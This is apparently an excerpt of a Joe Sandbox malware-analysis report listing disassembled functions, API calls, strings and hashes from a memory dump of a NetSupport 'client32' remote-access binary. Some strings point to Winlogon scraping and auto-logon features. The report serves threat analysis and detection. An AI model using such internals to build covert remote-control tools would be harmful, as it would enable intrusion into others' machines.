Part of subcall function 110CC360: MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 110CC39C
Part of subcall function 110CC360: MapDialogRect.USER32(00000000,?), ref: 110CC3C8
Part of subcall function 110CC360: GetDlgItem.USER32(00000000,?), ref: 110CC401
Part of subcall function 110CC360: SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000010), ref: 110CC41C

Part of subcall function 110183B0: GetSystemMetrics.USER32(0000005E), ref: 110183BF
Part of subcall function 110183B0: GetSystemMetrics.USER32(00002003), ref: 110183DF

std::exception::exception.LIBCMT ref: 11053483
__CxxThrowException@8.LIBCMT ref: 11053498

Strings

IsA(), xrefs: 1105334A, 110533D6
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11053345, 110533D1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ItemMetricsRectSystem$DialogException@8ObjectPointsShowTextThrowstd::exception::exception
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 2181554437-3415836059
Opcode ID: 1accb0bbb03bc77863436f13e3d15f929dc8c171c4ae25107a4f7bd902e08966
Instruction ID: 43705d0265472f43c13063854f38501adaeacc0369148bb5472ef3ca99b46591
Opcode Fuzzy Hash: 1accb0bbb03bc77863436f13e3d15f929dc8c171c4ae25107a4f7bd902e08966
Instruction Fuzzy Hash: 1E519375E00209AFDB45DF94CD81EEEF7B9FF44308F108569E5066B281EB35AA05CB91

Function 11012090 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 11012239

Strings

+, xrefs: 110121D7
%, xrefs: 110121CB
$, xrefs: 110120E7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: swprintf
String ID: $$%$+
API String ID: 233258989-3202472541
Opcode ID: 51dced2a2985a59ef63a696a59479f638707418e9379f640e453f86fe788b150
Instruction ID: 709c54241741de87a29271ffeb556a2f401356d1bb5d83c5dcf625fd940d7789
Opcode Fuzzy Hash: 51dced2a2985a59ef63a696a59479f638707418e9379f640e453f86fe788b150
Instruction Fuzzy Hash: 6C515EF6E002499ADB16CE58C8847CE7BF5FB15304F3085C5ED44AB29AEA3DC994CB90

Function 11067090 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110670A8
GetTickCount.KERNEL32 ref: 110671F0

Strings

General, xrefs: 110671DF
TicklePeriod, xrefs: 110671DA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: General$TicklePeriod
API String ID: 536389180-1546705386
Opcode ID: 583a630acb21db53e34cc03cdf69896ea0eaf712d7d07d60b781f99cd72e8e82
Instruction ID: df9d0f281d17993452c850789e07539b87313039e6a264bd0b80c81d914ed6ef
Opcode Fuzzy Hash: 583a630acb21db53e34cc03cdf69896ea0eaf712d7d07d60b781f99cd72e8e82
Instruction Fuzzy Hash: FE516234A00705DFE764CF68C994B9AB7E9FB44300F1085AEE55A8B381EB71BA45CB91

Function 1104E150 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 1104E1C9
_strncpy.LIBCMT ref: 1104E1D5
_strncpy.LIBCMT ref: 1104E219

Strings

Client., xrefs: 1104E1DD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: Client.
API String ID: 2961919466-3668916897
Opcode ID: d86f3a707c83068dca8de9a6e42235728c30fc8aa8edad40bfa430c4d183c61d
Instruction ID: afd3e16b167e0e58be9e44bf621a1c8a112985171a3aa2381e53f24449598869
Opcode Fuzzy Hash: d86f3a707c83068dca8de9a6e42235728c30fc8aa8edad40bfa430c4d183c61d
Instruction Fuzzy Hash: 87419475E0425AAFDB10CF78CC84BDEBBF9AF09314F1441A9D948A7241E775BA04CB90

Function 110363C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110363CF
EnumChildWindows.USER32(?,Function_00035F30), ref: 1103640C

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 110343E0: IsWindow.USER32(?), ref: 110343E8
Part of subcall function 110343E0: GetWindowLongA.USER32(?,000000F0), ref: 110343FB

Strings

IsWindow(hDia), xrefs: 110363E3
CltAutoLogon.cpp, xrefs: 110363DE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ChildEnumErrorExitLastLongMessageProcessWindowswsprintf
String ID: CltAutoLogon.cpp$IsWindow(hDia)
API String ID: 2743442841-2884807542
Opcode ID: 975b895f4caacf8fdd8b9513a7fe3ee3cb2752b060bb9e31cc638f616adf73a8
Instruction ID: 11eaf539b08052b8f60daf16ff22fa14e936f015058a14bf0137899c3d76b31f
Opcode Fuzzy Hash: 975b895f4caacf8fdd8b9513a7fe3ee3cb2752b060bb9e31cc638f616adf73a8
Instruction Fuzzy Hash: 0041BD75D20301AFC320DF25DD80AAAB7F5BF8071AF40846DD88A87A50EB31F644CB91

Function 110881D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 110886C0: _memset.LIBCMT ref: 110886DF
Part of subcall function 110886C0: InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,11070CC3,00000000,00000000,11182F3E,000000FF), ref: 11088750

_memset.LIBCMT ref: 110882DA
_free.LIBCMT ref: 110882F4

Strings

..\CTL32\EncryptFuncs.cpp, xrefs: 11088252
pDES, xrefs: 11088257

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$CriticalInitializeSection_free
String ID: ..\CTL32\EncryptFuncs.cpp$pDES
API String ID: 1034327355-4272885995
Opcode ID: a6079e7af03cf179f1442b63be17b6fca14849e1020515595784f8ae75675a4f
Instruction ID: 8ae3569bce46c35fff43cf137a49856f5cdc42b16756a4486f25bf6ba65b23e7
Opcode Fuzzy Hash: a6079e7af03cf179f1442b63be17b6fca14849e1020515595784f8ae75675a4f
Instruction Fuzzy Hash: F041C675E04219AFDB20CF54CC41FAEB379EB85718F004298E90867380EB76AE54CB91

Function 1105A270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1105A296
GetTickCount.KERNEL32 ref: 1105A326
GetTickCount.KERNEL32 ref: 1105A33A

Strings

Stop reconn to %s, xrefs: 1105A349

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: Stop reconn to %s
API String ID: 536389180-2663412807
Opcode ID: 28e149f9e8b9339cc5936daff1c8ccc8a0dde33bbe7dbcef04bf713a6a8c9fee
Instruction ID: ee841f7b2cabced5480f0adf42a1d2d70c561a2002c4d621d613019b8fea0109
Opcode Fuzzy Hash: 28e149f9e8b9339cc5936daff1c8ccc8a0dde33bbe7dbcef04bf713a6a8c9fee
Instruction Fuzzy Hash: 85319235E00615CFD760CFBCC980A6AB7F5EB89304F1046A9E45AC7645DB71E984CB50

Function 110D12E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 110D1378

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\CTL32\NSMString.cpp, xrefs: 110D12F7, 110D132A, 110D139E
IsA(), xrefs: 110D12FC, 110D13A3
cchLen<=0 || cchLen<=(int) _tcslen(pszStr), xrefs: 110D132F

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: ..\CTL32\NSMString.cpp$IsA()$cchLen<=0 || cchLen<=(int) _tcslen(pszStr)
API String ID: 1528188558-323366856
Opcode ID: 178f97a59f0bec0598d483463499a2975e296ab7c3110b068437bcfd80d62d5f
Instruction ID: ca0f400cc3ae87bce4a96c7d882a21a9a029a19775e55ac1937322abd3584148
Opcode Fuzzy Hash: 178f97a59f0bec0598d483463499a2975e296ab7c3110b068437bcfd80d62d5f
Instruction Fuzzy Hash: 0C212639B007566BDB01CF99EC90F9AF3E5AFD1288F048469E99997701EE31F4058398

Function 1104A260 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1104A2B6
GetTickCount.KERNEL32 ref: 1104A2D8

Part of subcall function 1103DD20: CloseHandle.KERNEL32(00000000,110B7A30,00000001,00000000,?), ref: 1103DDC2

Strings

ScrapeWinlogon(true), mode=%x, flags=%x, xrefs: 1104A293
ScrapeWinlogon(false), xrefs: 1104A2FD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CloseHandle
String ID: ScrapeWinlogon(false)$ScrapeWinlogon(true), mode=%x, flags=%x
API String ID: 3288320179-399146346
Opcode ID: bef47f98c8d1ca0611a16be0c1ef2ecc0455f5e92cee3a788b3969f9fb13bb47
Instruction ID: 87290cdcf1103bc3334aeb70066b7a5708590451a5d5a05059d6374ecb706078
Opcode Fuzzy Hash: bef47f98c8d1ca0611a16be0c1ef2ecc0455f5e92cee3a788b3969f9fb13bb47
Instruction Fuzzy Hash: 74213475F00700ABF725D6649885BFEBAC5AB8070DF248839F65B46AC0DBE5B5C0C342

Function 110183B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000005E), ref: 110183BF
GetSystemMetrics.USER32(00002003), ref: 110183DF
FindWindowA.USER32(IPTip_Main_Window,00000000), ref: 11018429

Strings

IPTip_Main_Window, xrefs: 11018424

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$FindWindow
String ID: IPTip_Main_Window
API String ID: 3964754823-293399287
Opcode ID: 338d81376081f096a8910d24601292b11f0403676c3425d7a8f136870903a89b
Instruction ID: 48eceb47ebeb3c7c94f5e0ea21fac0982c3091e714c0091f6a40e808b7a20a73
Opcode Fuzzy Hash: 338d81376081f096a8910d24601292b11f0403676c3425d7a8f136870903a89b
Instruction Fuzzy Hash: 1411E53AD80229A7DF01DAE05E41BDE77AC5B00249F0045EBED05AB048EE69D70586E1

Function 1105D500 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?,?,?,1103FE35,?,?,Client,DisableThumbnail,00000000,00000000,Client,DisableWatch,00000000,00000000), ref: 1105D51E
LeaveCriticalSection.KERNEL32(00000000,?,DisableWatch,00000000,00000000,AB86ACF8), ref: 1105D59E
SetEvent.KERNEL32(?,?,DisableWatch,00000000,00000000,AB86ACF8), ref: 1105D5A8

Strings

Thumbnails: mon=%d, w=%d, h=%d, c=%d, interval=%d, xrefs: 1105D561

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: Thumbnails: mon=%d, w=%d, h=%d, c=%d, interval=%d
API String ID: 3094578987-11999416
Opcode ID: c530e27155f7b3fdc2e9ca538483d963ca7dcdd1017b1d5184d653da29544702
Instruction ID: cd8e2c595cb3ca955c0a05eca4a83294a9fb2b4bfc4f95d4b2967c0930ade923
Opcode Fuzzy Hash: c530e27155f7b3fdc2e9ca538483d963ca7dcdd1017b1d5184d653da29544702
Instruction Fuzzy Hash: 6D2149B4500B65AFD364CF6AC490967FBF4FF88718700891EE5AA82B41E375F850CBA0

Function 11153570 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 111535AC
_memmove.LIBCMT ref: 111535E6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

n > 128, xrefs: 111535C6
..\ctl32\WCUNPACK.C, xrefs: 111535C1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\WCUNPACK.C$n > 128
API String ID: 6605023-1396654219
Opcode ID: ec23489f07850d0f282c208d07d7e8fee0db15ceed7262bb29d1eb7273dc92e2
